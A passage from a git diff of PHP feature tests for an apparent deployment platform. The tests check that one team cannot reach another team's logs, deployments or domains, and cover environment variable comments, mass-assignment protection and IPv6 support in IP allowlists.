Service::factory()->create([ + 'environment_id' => $this->environmentB->id, + 'destination_id' => $this->destinationB->id, + 'destination_type' => StandaloneDocker::class, + ]); + + // Act as attacker + $this->actingAs($this->userA); + session(['currentTeam' => $this->teamA]); +}); + +test('cannot access logs of application from another team', function () { + $response = $this->get(route('project.application.logs', [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + 'application_uuid' => $this->victimApplication->uuid, + ])); + + $response->assertStatus(404); +}); + +test('cannot access logs of service from another team', function () { + $response = $this->get(route('project.service.logs', [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + 'service_uuid' => $this->victimService->uuid, + ])); + + $response->assertStatus(404); +}); + +test('can access logs of own application', function () { + $ownApplication = Application::factory()->create([ + 'environment_id' => $this->environmentA->id, + 'destination_id' => $this->destinationA->id, + 'destination_type' => $this->destinationA->getMorphClass(), + ]); + + $response = $this->get(route('project.application.logs', [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + 'application_uuid' => $ownApplication->uuid, + ])); + + $response->assertStatus(200); +}); + +test('can access logs of own service', function () { + $ownService = Service::factory()->create([ + 'environment_id' => $this->environmentA->id, + 'destination_id' => $this->destinationA->id, + 'destination_type' => StandaloneDocker::class, + ]); + + $response = $this->get(route('project.service.logs', [ + 'project_uuid' => $this->projectA->uuid, + 'environment_uuid' => $this->environmentA->uuid, + 'service_uuid' => $ownService->uuid, + ])); + + $response->assertStatus(200); +}); diff --git a/tests/Feature/DeploymentByUuidApiTest.php b/tests/Feature/DeploymentByUuidApiTest.php new file mode 100644 index 000000000..2542f3deb --- /dev/null +++ b/tests/Feature/DeploymentByUuidApiTest.php @@ -0,0 +1,94 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + // Create token manually since User::createToken relies on session('currentTeam') + $plainTextToken = Str::random(40); + $token = $this->user->tokens()->create([ + 'name' => 'test-token', + 'token' => hash('sha256', $plainTextToken), + 'abilities' => ['*'], + 'team_id' => $this->team->id, + ]); + $this->bearerToken = $token->getKey().'|'.$plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + ]); +}); + +describe('GET /api/v1/deployments/{uuid}', function () { + test('returns 401 when not authenticated', function () { + $response = $this->getJson('/api/v1/deployments/fake-uuid'); + + $response->assertUnauthorized(); + }); + + test('returns 404 when deployment not found', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->getJson('/api/v1/deployments/non-existent-uuid'); + + $response->assertNotFound(); + $response->assertJson(['message' => 'Deployment not found.']); + }); + + test('returns deployment when uuid is valid and belongs to team', function () { + $deployment = ApplicationDeploymentQueue::create([ + 'deployment_uuid' => 'test-deploy-uuid', + 'application_id' => $this->application->id, + 'server_id' => $this->server->id, + 'status' => ApplicationDeploymentStatus::IN_PROGRESS->value, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->getJson("/api/v1/deployments/{$deployment->deployment_uuid}"); + + $response->assertSuccessful(); + $response->assertJsonFragment(['deployment_uuid' => 'test-deploy-uuid']); + }); + + test('returns 404 when deployment belongs to another team', function () { + $otherTeam = Team::factory()->create(); + $otherProject = Project::factory()->create(['team_id' => $otherTeam->id]); + $otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]); + $otherApplication = Application::factory()->create([ + 'environment_id' => $otherEnvironment->id, + ]); + $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]); + + $deployment = ApplicationDeploymentQueue::create([ + 'deployment_uuid' => 'other-team-deploy-uuid', + 'application_id' => $otherApplication->id, + 'server_id' => $otherServer->id, + 'status' => ApplicationDeploymentStatus::IN_PROGRESS->value, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->getJson("/api/v1/deployments/{$deployment->deployment_uuid}"); + + $response->assertNotFound(); + }); +}); diff --git a/tests/Feature/DockerCustomCommandsTest.php b/tests/Feature/DockerCustomCommandsTest.php index 5d9dcd174..74bff2043 100644 --- a/tests/Feature/DockerCustomCommandsTest.php +++ b/tests/Feature/DockerCustomCommandsTest.php @@ -198,3 +198,20 @@ 'entrypoint' => 'python -c "print(\"hi\")"', ]); }); + +test('ConvertIp6', function () { + $input = '--ip6 2001:db8::1'; + $output = convertDockerRunToCompose($input); + expect($output)->toBe([ + 'ip6' => ['2001:db8::1'], + ]); +}); + +test('ConvertIpAndIp6Together', function () { + $input = '--ip 172.20.0.5 --ip6 2001:db8::1'; + $output = convertDockerRunToCompose($input); + expect($output)->toBe([ + 'ip' => ['172.20.0.5'], + 'ip6' => ['2001:db8::1'], + ]); +}); diff --git a/tests/Feature/DomainsByServerApiTest.php b/tests/Feature/DomainsByServerApiTest.php new file mode 100644 index 000000000..1e799bec5 --- /dev/null +++ b/tests/Feature/DomainsByServerApiTest.php @@ -0,0 +1,80 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->token = $this->user->createToken('test-token', ['*'], $this->team->id); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +function authHeaders(): array +{ + return [ + 'Authorization' => 'Bearer '.test()->bearerToken, + ]; +} + +test('returns domains for own team application via uuid query param', function () { + $application = Application::factory()->create([ + 'fqdn' => 'https://my-app.example.com', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders()) + ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$application->uuid}"); + + $response->assertOk(); + $response->assertJsonFragment(['my-app.example.com']); +}); + +test('returns 404 when application uuid belongs to another team', function () { + $otherTeam = Team::factory()->create(); + $otherUser = User::factory()->create(); + $otherTeam->members()->attach($otherUser->id, ['role' => 'owner']); + + $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]); + $otherDestination = StandaloneDocker::factory()->create(['server_id' => $otherServer->id]); + $otherProject = Project::factory()->create(['team_id' => $otherTeam->id]); + $otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]); + + $otherApplication = Application::factory()->create([ + 'fqdn' => 'https://secret-app.internal.company.com', + 'environment_id' => $otherEnvironment->id, + 'destination_id' => $otherDestination->id, + 'destination_type' => $otherDestination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders()) + ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$otherApplication->uuid}"); + + $response->assertNotFound(); + $response->assertJson(['message' => 'Application not found.']); +}); + +test('returns 404 for nonexistent application uuid', function () { + $response = $this->withHeaders(authHeaders()) + ->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid=nonexistent-uuid"); + + $response->assertNotFound(); + $response->assertJson(['message' => 'Application not found.']); +}); diff --git a/tests/Feature/EnvironmentVariableCommentTest.php b/tests/Feature/EnvironmentVariableCommentTest.php new file mode 100644 index 000000000..e7f9a07fb --- /dev/null +++ b/tests/Feature/EnvironmentVariableCommentTest.php @@ -0,0 +1,283 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->team->members()->attach($this->user, ['role' => 'owner']); + $this->application = Application::factory()->create([ + 'team_id' => $this->team->id, + ]); + + $this->actingAs($this->user); +}); + +test('environment variable can be created with comment', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => 'This is a test environment variable', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBe('This is a test environment variable'); + expect($env->key)->toBe('TEST_VAR'); + expect($env->value)->toBe('test_value'); +}); + +test('environment variable comment is optional', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBeNull(); + expect($env->key)->toBe('TEST_VAR'); +}); + +test('environment variable comment can be updated', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => 'Initial comment', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $env->comment = 'Updated comment'; + $env->save(); + + $env->refresh(); + expect($env->comment)->toBe('Updated comment'); +}); + +test('environment variable comment is preserved when updating value', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'initial_value', + 'comment' => 'Important variable for testing', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $env->value = 'new_value'; + $env->save(); + + $env->refresh(); + expect($env->value)->toBe('new_value'); + expect($env->comment)->toBe('Important variable for testing'); +}); + +test('environment variable comment is copied to preview environment', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => 'Test comment', + 'is_preview' => false, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // The model's created() event listener automatically creates a preview version + $previewEnv = EnvironmentVariable::where('key', 'TEST_VAR') + ->where('resourceable_id', $this->application->id) + ->where('is_preview', true) + ->first(); + + expect($previewEnv)->not->toBeNull(); + expect($previewEnv->comment)->toBe('Test comment'); +}); + +test('parseEnvFormatToArray preserves values without inline comments', function () { + $input = "KEY1=value1\nKEY2=value2"; + $result = parseEnvFormatToArray($input); + + expect($result)->toBe([ + 'KEY1' => ['value' => 'value1', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => null], + ]); +}); + +test('developer view format does not break with comment-like values', function () { + // Values that contain # but shouldn't be treated as comments when quoted + $env1 = EnvironmentVariable::create([ + 'key' => 'HASH_VAR', + 'value' => 'value_with_#_in_it', + 'comment' => 'Contains hash symbol', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env1->value)->toBe('value_with_#_in_it'); + expect($env1->comment)->toBe('Contains hash symbol'); +}); + +test('environment variable comment can store up to 256 characters', function () { + $comment = str_repeat('a', 256); + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => $comment, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBe($comment); + expect(strlen($env->comment))->toBe(256); +}); + +test('environment variable comment cannot exceed 256 characters via Livewire', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $longComment = str_repeat('a', 257); + + Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\Show::class, ['env' => $env, 'type' => 'application']) + ->set('comment', $longComment) + ->call('submit') + ->assertHasErrors(['comment' => 'max']); +}); + +test('bulk update preserves existing comments when no inline comment provided', function () { + // Create existing variable with a manually-entered comment + $env = EnvironmentVariable::create([ + 'key' => 'DATABASE_URL', + 'value' => 'postgres://old-host', + 'comment' => 'Production database', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // User switches to Developer view and pastes new value without inline comment + $bulkContent = "DATABASE_URL=postgres://new-host\nOTHER_VAR=value"; + + Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [ + 'resource' => $this->application, + 'type' => 'application', + ]) + ->set('variables', $bulkContent) + ->call('submit'); + + // Refresh the environment variable + $env->refresh(); + + // The value should be updated + expect($env->value)->toBe('postgres://new-host'); + + // The manually-entered comment should be PRESERVED + expect($env->comment)->toBe('Production database'); +}); + +test('bulk update overwrites existing comments when inline comment provided', function () { + // Create existing variable with a comment + $env = EnvironmentVariable::create([ + 'key' => 'API_KEY', + 'value' => 'old-key', + 'comment' => 'Old comment', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // User pastes new value WITH inline comment + $bulkContent = 'API_KEY=new-key #Updated production key'; + + Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [ + 'resource' => $this->application, + 'type' => 'application', + ]) + ->set('variables', $bulkContent) + ->call('submit'); + + // Refresh the environment variable + $env->refresh(); + + // The value should be updated + expect($env->value)->toBe('new-key'); + + // The comment should be OVERWRITTEN with the inline comment + expect($env->comment)->toBe('Updated production key'); +}); + +test('bulk update handles mixed inline and stored comments correctly', function () { + // Create two variables with comments + $env1 = EnvironmentVariable::create([ + 'key' => 'VAR_WITH_COMMENT', + 'value' => 'value1', + 'comment' => 'Existing comment 1', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $env2 = EnvironmentVariable::create([ + 'key' => 'VAR_WITHOUT_COMMENT', + 'value' => 'value2', + 'comment' => 'Existing comment 2', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Bulk paste: one with inline comment, one without + $bulkContent = "VAR_WITH_COMMENT=new_value1 #New inline comment\nVAR_WITHOUT_COMMENT=new_value2"; + + Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [ + 'resource' => $this->application, + 'type' => 'application', + ]) + ->set('variables', $bulkContent) + ->call('submit'); + + // Refresh both variables + $env1->refresh(); + $env2->refresh(); + + // First variable: comment should be overwritten with inline comment + expect($env1->value)->toBe('new_value1'); + expect($env1->comment)->toBe('New inline comment'); + + // Second variable: comment should be preserved + expect($env2->value)->toBe('new_value2'); + expect($env2->comment)->toBe('Existing comment 2'); +}); + +test('bulk update creates new variables with inline comments', function () { + // Bulk paste creates new variables, some with inline comments + $bulkContent = "NEW_VAR1=value1 #Comment for var1\nNEW_VAR2=value2\nNEW_VAR3=value3 #Comment for var3"; + + Livewire::test(\App\Livewire\Project\Shared\EnvironmentVariable\All::class, [ + 'resource' => $this->application, + 'type' => 'application', + ]) + ->set('variables', $bulkContent) + ->call('submit'); + + // Check that variables were created with correct comments + $var1 = EnvironmentVariable::where('key', 'NEW_VAR1') + ->where('resourceable_id', $this->application->id) + ->first(); + $var2 = EnvironmentVariable::where('key', 'NEW_VAR2') + ->where('resourceable_id', $this->application->id) + ->first(); + $var3 = EnvironmentVariable::where('key', 'NEW_VAR3') + ->where('resourceable_id', $this->application->id) + ->first(); + + expect($var1->value)->toBe('value1'); + expect($var1->comment)->toBe('Comment for var1'); + + expect($var2->value)->toBe('value2'); + expect($var2->comment)->toBeNull(); + + expect($var3->value)->toBe('value3'); + expect($var3->comment)->toBe('Comment for var3'); +}); diff --git a/tests/Feature/EnvironmentVariableMassAssignmentTest.php b/tests/Feature/EnvironmentVariableMassAssignmentTest.php new file mode 100644 index 000000000..f2650fdc7 --- /dev/null +++ b/tests/Feature/EnvironmentVariableMassAssignmentTest.php @@ -0,0 +1,217 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->team->members()->attach($this->user, ['role' => 'owner']); + $this->application = Application::factory()->create(); + + $this->actingAs($this->user); +}); + +test('all fillable fields can be mass assigned', function () { + $data = [ + 'key' => 'TEST_KEY', + 'value' => 'test_value', + 'comment' => 'Test comment', + 'is_literal' => true, + 'is_multiline' => true, + 'is_preview' => false, + 'is_runtime' => true, + 'is_buildtime' => false, + 'is_shown_once' => false, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]; + + $env = EnvironmentVariable::create($data); + + expect($env->key)->toBe('TEST_KEY'); + expect($env->value)->toBe('test_value'); + expect($env->comment)->toBe('Test comment'); + expect($env->is_literal)->toBeTrue(); + expect($env->is_multiline)->toBeTrue(); + expect($env->is_preview)->toBeFalse(); + expect($env->is_runtime)->toBeTrue(); + expect($env->is_buildtime)->toBeFalse(); + expect($env->is_shown_once)->toBeFalse(); + expect($env->resourceable_type)->toBe(Application::class); + expect($env->resourceable_id)->toBe($this->application->id); +}); + +test('comment field can be mass assigned with null', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => null, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBeNull(); +}); + +test('comment field can be mass assigned with empty string', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => '', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBe(''); +}); + +test('comment field can be mass assigned with long text', function () { + $comment = str_repeat('This is a long comment. ', 10); + + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'comment' => $comment, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->comment)->toBe($comment); + expect(strlen($env->comment))->toBe(strlen($comment)); +}); + +test('all boolean fields default correctly when not provided', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Boolean fields can be null or false depending on database defaults + expect($env->is_multiline)->toBeIn([false, null]); + expect($env->is_preview)->toBeIn([false, null]); + expect($env->is_runtime)->toBeIn([false, null]); + expect($env->is_buildtime)->toBeIn([false, null]); + expect($env->is_shown_once)->toBeIn([false, null]); +}); + +test('value field is properly encrypted when mass assigned', function () { + $plainValue = 'secret_value_123'; + + $env = EnvironmentVariable::create([ + 'key' => 'SECRET_KEY', + 'value' => $plainValue, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Value should be decrypted when accessed via model + expect($env->value)->toBe($plainValue); + + // Verify it's actually encrypted in the database + $rawValue = \DB::table('environment_variables') + ->where('id', $env->id) + ->value('value'); + + expect($rawValue)->not->toBe($plainValue); + expect($rawValue)->not->toBeNull(); +}); + +test('key field is trimmed and spaces replaced with underscores', function () { + $env = EnvironmentVariable::create([ + 'key' => ' TEST KEY WITH SPACES ', + 'value' => 'test_value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->key)->toBe('TEST_KEY_WITH_SPACES'); +}); + +test('version field can be mass assigned', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'version' => '1.2.3', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // The booted() method sets version automatically, so it will be the current version + expect($env->version)->not->toBeNull(); +}); + +test('mass assignment works with update method', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'initial_value', + 'comment' => 'Initial comment', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + $env->update([ + 'value' => 'updated_value', + 'comment' => 'Updated comment', + 'is_literal' => true, + ]); + + $env->refresh(); + + expect($env->value)->toBe('updated_value'); + expect($env->comment)->toBe('Updated comment'); + expect($env->is_literal)->toBeTrue(); +}); + +test('protected attributes cannot be mass assigned', function () { + $customDate = '2020-01-01 00:00:00'; + + $env = EnvironmentVariable::create([ + 'id' => 999999, + 'uuid' => 'custom-uuid', + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + 'created_at' => $customDate, + 'updated_at' => $customDate, + ]); + + // id should be auto-generated, not 999999 + expect($env->id)->not->toBe(999999); + + // uuid should be auto-generated, not 'custom-uuid' + expect($env->uuid)->not->toBe('custom-uuid'); + + // Timestamps should be current, not 2020 + expect($env->created_at->year)->toBe(now()->year); +}); + +test('order field can be mass assigned', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'order' => 5, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + expect($env->order)->toBe(5); +}); + +test('is_shared field can be mass assigned', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => 'test_value', + 'is_shared' => true, + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + ]); + + // Note: is_shared is also computed via accessor, but can be mass assigned + expect($env->is_shared)->not->toBeNull(); +}); diff --git a/tests/Feature/IpAllowlistTest.php b/tests/Feature/IpAllowlistTest.php index 959dc757d..1b14b79e8 100644 --- a/tests/Feature/IpAllowlistTest.php +++ b/tests/Feature/IpAllowlistTest.php @@ -86,7 +86,7 @@ expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/-1']))->toBeFalse(); // Invalid mask }); -test('IP allowlist with various subnet sizes', function () { +test('IP allowlist with various IPv4 subnet sizes', function () { // /32 - single host expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.1/32']))->toBeTrue(); expect(checkIPAgainstAllowlist('192.168.1.2', ['192.168.1.1/32']))->toBeFalse(); @@ -96,16 +96,98 @@ expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/31']))->toBeTrue(); expect(checkIPAgainstAllowlist('192.168.1.2', ['192.168.1.0/31']))->toBeFalse(); - // /16 - class B + // /25 - half a /24 + expect(checkIPAgainstAllowlist('192.168.1.1', ['192.168.1.0/25']))->toBeTrue(); + expect(checkIPAgainstAllowlist('192.168.1.127', ['192.168.1.0/25']))->toBeTrue(); + expect(checkIPAgainstAllowlist('192.168.1.128', ['192.168.1.0/25']))->toBeFalse(); + + // /16 expect(checkIPAgainstAllowlist('172.16.0.1', ['172.16.0.0/16']))->toBeTrue(); expect(checkIPAgainstAllowlist('172.16.255.255', ['172.16.0.0/16']))->toBeTrue(); expect(checkIPAgainstAllowlist('172.17.0.1', ['172.16.0.0/16']))->toBeFalse(); + // /12 + expect(checkIPAgainstAllowlist('172.16.0.1', ['172.16.0.0/12']))->toBeTrue(); + expect(checkIPAgainstAllowlist('172.31.255.255', ['172.16.0.0/12']))->toBeTrue(); + expect(checkIPAgainstAllowlist('172.32.0.1', ['172.16.0.0/12']))->toBeFalse(); + + // /8 + expect(checkIPAgainstAllowlist('10.255.255.255', ['10.0.0.0/8']))->toBeTrue(); + expect(checkIPAgainstAllowlist('11.0.0.1', ['10.0.0.0/8']))->toBeFalse(); + // /0 - all addresses expect(checkIPAgainstAllowlist('1.1.1.1', ['0.0.0.0/0']))->toBeTrue(); expect(checkIPAgainstAllowlist('255.255.255.255', ['0.0.0.0/0']))->toBeTrue(); }); +test('IP allowlist with various IPv6 subnet sizes', function () { + // /128 - single host + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1/128']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1/128']))->toBeFalse(); + + // /127 - point-to-point link + expect(checkIPAgainstAllowlist('2001:db8::0', ['2001:db8::/127']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/127']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::/127']))->toBeFalse(); + + // /64 - standard subnet + expect(checkIPAgainstAllowlist('2001:db8:abcd:1234::1', ['2001:db8:abcd:1234::/64']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8:abcd:1234:ffff:ffff:ffff:ffff', ['2001:db8:abcd:1234::/64']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8:abcd:1235::1', ['2001:db8:abcd:1234::/64']))->toBeFalse(); + + // /48 - site prefix + expect(checkIPAgainstAllowlist('2001:db8:1234::1', ['2001:db8:1234::/48']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8:1234:ffff::1', ['2001:db8:1234::/48']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8:1235::1', ['2001:db8:1234::/48']))->toBeFalse(); + + // /32 - ISP allocation + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/32']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8:ffff:ffff::1', ['2001:db8::/32']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db9::1', ['2001:db8::/32']))->toBeFalse(); + + // /16 + expect(checkIPAgainstAllowlist('2001:0000::1', ['2001::/16']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:ffff:ffff::1', ['2001::/16']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2002::1', ['2001::/16']))->toBeFalse(); +}); + +test('IP allowlist with bare IPv6 addresses', function () { + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1']))->toBeFalse(); + expect(checkIPAgainstAllowlist('::1', ['::1']))->toBeTrue(); + expect(checkIPAgainstAllowlist('::1', ['::2']))->toBeFalse(); +}); + +test('IP allowlist with IPv6 CIDR notation', function () { + // /64 prefix — issue #8729 exact case + expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230::1', ['2a01:e0a:21d:8230::/64']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230:abcd:ef01:2345:6789', ['2a01:e0a:21d:8230::/64']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2a01:e0a:21d:8231::1', ['2a01:e0a:21d:8230::/64']))->toBeFalse(); + + // /128 — single host + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::1/128']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8::2', ['2001:db8::1/128']))->toBeFalse(); + + // /48 prefix + expect(checkIPAgainstAllowlist('2001:db8:1234::1', ['2001:db8:1234::/48']))->toBeTrue(); + expect(checkIPAgainstAllowlist('2001:db8:1235::1', ['2001:db8:1234::/48']))->toBeFalse(); +}); + +test('IP allowlist with mixed IPv4 and IPv6', function () { + $allowlist = ['192.168.1.100', '10.0.0.0/8', '2a01:e0a:21d:8230::/64']; + + expect(checkIPAgainstAllowlist('192.168.1.100', $allowlist))->toBeTrue(); + expect(checkIPAgainstAllowlist('10.5.5.5', $allowlist))->toBeTrue(); + expect(checkIPAgainstAllowlist('2a01:e0a:21d:8230::cafe', $allowlist))->toBeTrue(); + expect(checkIPAgainstAllowlist('2a01:e0a:21d:8231::1', $allowlist))->toBeFalse(); + expect(checkIPAgainstAllowlist('8.8.8.8', $allowlist))->toBeFalse(); +}); + +test('IP allowlist handles invalid IPv6 masks', function () { + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/129']))->toBeFalse(); // mask > 128 + expect(checkIPAgainstAllowlist('2001:db8::1', ['2001:db8::/-1']))->toBeFalse(); // negative mask +}); + test('IP allowlist comma-separated string input', function () { // Test with comma-separated string (as it would come from the settings) $allowlistString = '192.168.1.100,10.0.0.0/8,172.16.0.0/16'; @@ -134,14 +216,21 @@ // Valid cases - should pass expect($validate(''))->toBeTrue(); // Empty is allowed expect($validate('0.0.0.0'))->toBeTrue(); // 0.0.0.0 is allowed - expect($validate('192.168.1.1'))->toBeTrue(); // Valid IP - expect($validate('192.168.1.0/24'))->toBeTrue(); // Valid CIDR - expect($validate('10.0.0.0/8'))->toBeTrue(); // Valid CIDR + expect($validate('192.168.1.1'))->toBeTrue(); // Valid IPv4 + expect($validate('192.168.1.0/24'))->toBeTrue(); // Valid IPv4 CIDR + expect($validate('10.0.0.0/8'))->toBeTrue(); // Valid IPv4 CIDR expect($validate('192.168.1.1,10.0.0.1'))->toBeTrue(); // Multiple valid IPs expect($validate('192.168.1.0/24,10.0.0.0/8'))->toBeTrue(); // Multiple CIDRs expect($validate('0.0.0.0/0'))->toBeTrue(); // 0.0.0.0 with subnet expect($validate('0.0.0.0/24'))->toBeTrue(); // 0.0.0.0 with any subnet expect($validate(' 192.168.1.1 '))->toBeTrue(); // With spaces + // IPv6 valid cases — issue #8729 + expect($validate('2001:db8::1'))->toBeTrue(); // Valid bare IPv6 + expect($validate('::1'))->toBeTrue(); // Loopback IPv6 + expect($validate('2a01:e0a:21d:8230::/64'))->toBeTrue(); // IPv6 /64 CIDR + expect($validate('2001:db8::/48'))->toBeTrue(); // IPv6 /48 CIDR + expect($validate('2001:db8::1/128'))->toBeTrue(); // IPv6 /128 CIDR + expect($validate('192.168.1.1,2a01:e0a:21d:8230::/64'))->toBeTrue(); // Mixed IPv4 + IPv6 CIDR // Invalid cases - should fail expect($validate('1'))->toBeFalse(); // Single digit @@ -155,6 +244,7 @@ expect($validate('not.an.ip.address'))->toBeFalse(); // Invalid format expect($validate('192.168'))->toBeFalse(); // Incomplete IP expect($validate('192.168.1.1.1'))->toBeFalse(); // Too many octets + expect($validate('2001:db8::/129'))->toBeFalse(); // IPv6 mask > 128 }); test('ValidIpOrCidr validation rule error messages', function () { @@ -181,3 +271,111 @@ expect($error)->toContain('10.0.0.256'); expect($error)->not->toContain('192.168.1.1'); // Valid IP should not be in error }); + +test('deduplicateAllowlist removes bare IPv4 covered by various subnets', function () { + // /24 + expect(deduplicateAllowlist(['192.168.1.5', '192.168.1.0/24']))->toBe(['192.168.1.0/24']); + // /16 + expect(deduplicateAllowlist(['172.16.5.10', '172.16.0.0/16']))->toBe(['172.16.0.0/16']); + // /8 + expect(deduplicateAllowlist(['10.50.100.200', '10.0.0.0/8']))->toBe(['10.0.0.0/8']); + // /32 — same host, first entry wins (both equivalent) + expect(deduplicateAllowlist(['192.168.1.1', '192.168.1.1/32']))->toBe(['192.168.1.1']); + // /31 — point-to-point + expect(deduplicateAllowlist(['192.168.1.0', '192.168.1.0/31']))->toBe(['192.168.1.0/31']); + // IP outside subnet — both preserved + expect(deduplicateAllowlist(['172.17.0.1', '172.16.0.0/16']))->toBe(['172.17.0.1', '172.16.0.0/16']); +}); + +test('deduplicateAllowlist removes 